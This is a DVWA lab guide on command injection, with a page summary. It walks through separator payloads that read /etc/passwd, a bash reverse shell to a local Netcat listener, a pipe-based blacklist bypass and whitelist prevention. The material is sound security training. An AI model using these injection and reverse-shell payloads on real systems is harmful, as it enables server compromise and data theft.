This article is a hands-on lab guide teaching command injection exploitation against DVWA, progressing from basic OS command execution through reverse shell establishment to filter bypass and secure prevention. Command injection is presented as a critical web vulnerability that escalates from form input directly to OS-level server compromise, making it one of the most impactful attack vectors in web application security. The guide covers all four DVWA security levels, demonstrating both exploitation techniques and the correct whitelist-based validation needed to prevent the vulnerability.
- Command injection escalates from web form to full OS accessThe article explains that command injection allows an attacker to append OS commands to user input using separator characters (semicolon, pipe, double ampersand) and execute them on the server. A single successful injection permits reading any file, creating users, establishing reverse shells, and pivoting to other machines the server can reach, making it fundamentally different from SQL injection which only affects databases.
- Three separator characters enable injection at Low securityAt DVWA's Low security level, semicolon (;) terminates the first command and starts a new one, pipe (|) feeds the first command's output into the second, and double ampersand (&&) runs the second command only if the first succeeds. The article provides specific example payloads like '127.0.0.1; whoami' and '127.0.0.1 | cat /etc/passwd' that work because input passes directly to shell_exec with no sanitisation.
- Reverse shell transforms web vulnerability to interactive accessThe article demonstrates that injecting 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' opens a persistent connection from the DVWA server back to a Netcat listener, providing an interactive terminal session that can be upgraded to a full PTY using 'python3 -c import pty;pty.spawn("/bin/bash")'. This gives the attacker multi-command persistence and navigation capability, unlike single-command injection responses in a web form.
- Blacklist filtering at Medium security remains bypassableAt Medium security, DVWA blocks semicolon and double ampersand characters, but the pipe separator (|) is not included in the blacklist. The article shows that '127.0.0.1 | whoami' and similar pipe payloads bypass the filter because developers attempted to blacklist specific characters rather than validating only legitimate input characters, and cannot enumerate all possible separators.
- Whitelist validation provides structural injection preventionThe article contrasts Low-level code that passes raw input directly to shell_exec() with Impossible-level code that uses strict whitelist validation. The secure approach splits the input on dots, validates each octet is numeric and between 0-255, and rejects anything else before reaching shell_exec. This makes command injection structurally impossible because only valid IP address characters can pass validation.
- Common progression shows why blacklist always failsThe article documents that Low security has no validation, Medium security adds a partial blacklist blocking semicolon and &&, High security adds a longer blacklist still missing separators, and only Impossible uses whitelist-based validation. This progression illustrates the repeated developer mistake of attempting to enumerate dangerous characters rather than whitelisting only safe input.
- OWASP ranks command injection as highest-severity injection typeThe article notes that OWASP consistently ranks injection attacks in the Top 3 critical vulnerabilities, with command injection being the most severe because it grants OS-level access rather than just database access. This OS-level access enables full server compromise, data exfiltration, and lateral movement across internal networks, distinguishing it from other injection types.
Bottom line: Command injection exploited through unsanitised input passed to shell functions escalates directly from a web form to complete OS-level server compromise, and can only be prevented through strict whitelist validation of input characters rather than blacklisting separators, which the article demonstrates across DVWA's four security levels. The article shows that a reverse shell payload transforms abstract command execution into a practical, interactive terminal session that proves critical impact
🎯 What You’ll Master in Lab 3
⏱️ 22 min read · 3 hands-on exercises
📋 What This Lab Covers
If you are starting here, complete Lab 1 (DVWA Setup) first. This lab assumes DVWA is accessible at http://127.0.0.1, logged in as admin, with Security Level set to Low. The Command Injection module is at: http://127.0.0.1/dvwa/vulnerabilities/exec/
Understanding Command Injection — Why It Is So Dangerous
DVWA’s command injection module simulates a simple ping utility — you enter an IP address, the server runs ping [your input] on the OS, and returns the output. The vulnerability exists because your input is passed directly to the shell with no sanitisation — meaning you can append any OS command after the IP address using separator characters.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
www-data
ping 127.0.0.1; whoami — the semicolon injected a second commandLow Security — All Separators Work
⏱️ Time: 10 minutes · Target: DVWA Command Injection at http://127.0.0.1/dvwa/vulnerabilities/exec/
1. 127.0.0.1; whoami
→ What user is the web server running as?
2. 127.0.0.1; id
→ What UID, GID, and groups does the web server have?
3. 127.0.0.1; uname -a
→ What OS version and kernel is running?
4. 127.0.0.1; cat /etc/passwd | grep -v nologin | grep -v false
→ Which accounts have interactive shells?
5. 127.0.0.1; ls -la /var/www/html/dvwa/hackable/uploads/
→ Is the upload directory writable?
Document ALL results — you are building a server profile.
📸 Screenshot the /etc/passwd output from your injection and share in #dvwa-command-injection on Discord.
🧠 QUICK CHECK
Establishing a Reverse Shell from DVWA
The reverse shell exercise demonstrates the maximum impact of a command injection vulnerability. Instead of just reading files, you inject a command that opens a persistent shell connection from the DVWA server back to a Netcat listener on your Kali machine — giving you an interactive terminal session on the server.
⏱️ Time: 15 minutes · Target: DVWA 127.0.0.1 (YOUR LAB ONLY)
This exercise establishes a reverse shell — the DVWA server connects back to your Kali Netcat listener. Since DVWA and Kali are both on your machine, the connection is entirely localhost.
📸 Screenshot your Netcat session showing the reverse shell connection and share in #dvwa-command-injection on Discord. Tag #dvwalab3
Medium Security — Blacklist Bypass
At Medium security, DVWA strips the semicolon (;) and double-ampersand (&&) from the input. This represents a developer who added a blacklist of “dangerous characters” — but forgot that the pipe (|) also enables command injection.
Prevention — What Correct Code Looks Like
⏱️ Time: 10 minutes · Target: DVWA View Source + Docker files
📸 Screenshot the Impossible-level whitelist validation code and share in #dvwa-source-review on Discord. Tag #securecoding2026
📋 Commands Used — Lab 3 Reference
🏆 Lab 3 Complete — Command Injection Mastered
From web form to reverse shell — all 4 security levels completed
❓ Frequently Asked Questions – DVWA Command Injection Lab
What is command injection in web applications?
What command injection separators should I always test?
Why is a reverse shell more useful than a basic injection?
How is command injection prevented correctly?
Lab 2: Brute Force
Lab 4: CSRF
📚 Further Reading
- DVWA Lab 4: CSRF 2026 — Next in the series — forge cross-site requests to perform unauthorised actions on behalf of authenticated users across all four DVWA security levels.
- Ethical Hacking Day 19: Command Injection — The full ethical hacking course coverage of command injection — theory, real-world examples, Burp Suite testing methodology, and WAF bypass techniques.
- DVWA Labs Hub — The complete 30-lab DVWA series — every vulnerability module with full Low through Impossible walkthroughs and reverse shell exercises where applicable.
- PortSwigger: OS Command Injection — PortSwigger’s comprehensive OS command injection guide with free interactive labs — the best complement to this DVWA walkthrough for deeper skill building.
- OWASP: Command Injection — OWASP’s authoritative reference covering command injection mechanics, real-world examples, prevention techniques, and related vulnerability categories.

